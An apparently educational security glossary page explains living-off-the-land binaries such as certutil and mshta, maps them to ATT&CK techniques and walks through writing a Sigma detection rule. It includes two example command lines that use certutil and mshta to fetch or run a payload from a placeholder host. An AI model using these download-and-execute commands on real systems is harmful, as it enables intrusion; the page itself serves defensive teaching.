In one sentence
A LOLBin (Living Off the Land Binary) is a legitimate, pre-installed system tool — certutil, mshta, rundll32 — that an attacker repurposes to download, execute or hide malicious activity, so nothing "new" ever touches disk.
Why it matters
An EDR that alerts on unknown executables stays quiet, because nothing unknown ran — certutil.exe is signed by Microsoft and present on every Windows box. Detection has to shift from "is this binary bad" to "is this normal binary being used in an abnormal way": an unusual parent process, an unusual argument, an unusual network destination. This is exactly the kind of thing a technique ID, not a file hash, is built to describe — a LOLBin is the purest example of why behavioural indicators exist.
How it is used in practice
Attackers reach for LOLBins mainly for two jobs: fetching a second-stage payload (certutil -urlcache -split -f hxxp://203.0.113.5/payload.exe) and executing attacker-supplied script content without dropping an obvious script file (mshta hxxp://203.0.113.5/payload.hta). Others proxy execution through a trusted binary so application control lets it through (rundll32, regsvr32), query or change the system through management interfaces (wmic), or encode and decode data in place (certutil -encode).
Each LOLBin maps to one or more ATT&CK techniques — certutil used as a downloader sits under T1105 Ingress Tool Transfer, mshta under T1218.005 System Binary Proxy Execution: Mshta, rundll32 under T1218.011. The Windows catalogue is the LOLBAS project; the Unix equivalent (how find, vim or tar escalate or exfiltrate when misconfigured with sudo or SUID) is GTFOBins. Both are searchable offline in the LOLBin Browser on this site.
Try it yourself hands-on
You see mshta.exe spawned by winword.exe in a process tree, with a command line pointing at an external URL.
- Open the LOLBin Browser and look up
mshta. The entry lists its functions — HTA execution from a URL is the first — and the mapped technique, T1218.005. That matches what you are seeing. - Cross-check the technique in the MITRE ATT&CK Search: open T1218 System Binary Proxy Execution and find .005 Mshta in its sub-technique list; the detection guidance says to monitor signed binaries with unusual command lines. Tag the alert with both ids.
- The real red flag is not
mshta.exeexisting on the box — it ismshta.exebeing a child ofwinword.exe, which is never a normal parent for it. That parent/child mismatch is what your detection should key on, not the binary name. Write it in the Sigma Rule Builder:process_creation,ParentImage|endswith: '\WINWORD.EXE',Image|endswith: '\mshta.exe', tagsattack.t1218.005,attack.defense_evasion.
Common misreadings
- Blocking the binary is rarely an option.
rundll32andwmicare load-bearing for Windows itself; the control is monitoring and, where the vendor allows, restricting who and from where. - "Living off the land" is broader than binaries. Scripts (LOLScripts), libraries and cloud-native tools (LOLCloud) follow the same idea: use what is already trusted.
- Presence in the catalogue is not an indicator. Every host has every LOLBin. The indicator is the context — parent, arguments, timing, destination.